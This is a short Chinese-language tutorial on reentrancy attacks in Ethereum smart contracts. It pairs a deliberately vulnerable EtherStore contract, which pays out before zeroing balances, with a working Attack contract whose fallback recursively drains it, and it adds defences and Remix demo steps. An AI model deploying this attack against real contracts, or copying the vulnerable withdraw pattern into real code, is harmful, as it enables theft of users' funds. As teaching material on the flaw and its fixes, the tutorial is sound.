概述:
重入攻击是由于智能合约调用了外部不安全合约,或者对外发送以太币,使得合约的外部调用能够被劫持,导致合约内的方法被外部合约递归调用
形成重入攻击有如下条件:
1、调用了外部不安全合约
2、使用了不安全的转账方式,未进行gas限制。
3、状态变量修改在合约交互之后
如下为漏洞合约+攻击合约:
```// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {//漏洞合约
receive() external payable{}
constructor() payable {}
mapping(address => uint) internal balances;
function deposit() external payable { //将Eth存入合约
balances[msg.sender] += msg.value;
}
function withdraw() external {//将存入的资金取出
uint balance = balances[msg.sender];
require(balance > 0);//检查
(bool sent, ) = msg.sender.call{value: balance}("");//交互--发起转账
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;//生效--状态变量修改
}
function getBalance() public view returns (uint) {//获取合约余额
return address(this).balance;
}
}
contract Attack {//攻击合约
EtherStore public etherstore;
constructor(address payable test) payable {
etherstore = EtherStore(test);
}
function _deposit() public payable {//向漏洞合约存入ETH
etherstore.deposit{value: 1 ether}();
}
function attack() public {//开始攻击,取回合约中的ETH
etherstore.withdraw();
}
function getbalance() public view returns (uint) {//获取当前合约余额
return address(this).balance;
}
fallback() external payable{//触发Fallback,递归调用取回函数
if (address(etherstore).balance > 0) {
etherstore.withdraw();
}
}
}
```
防御措施:
1、谨防使用不安全的转账函数call,建议使用transfer、send--限制gas为2300;或者对call调用进行gas限制--call{gas:2300};
2、推荐使用检查-生效-交互的模式,状态变量的修改在合约进行外部调用之前。
3、建议为合约加入重入锁,在openzeeplin中--https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
攻击演示:
1、首先在remix上进行合约部署
先对漏洞合约进行部署
再部署攻击合约
2、打开攻击合约进行攻击操作
3、攻击完成(注:1Ether的单位为10的18次方Wei)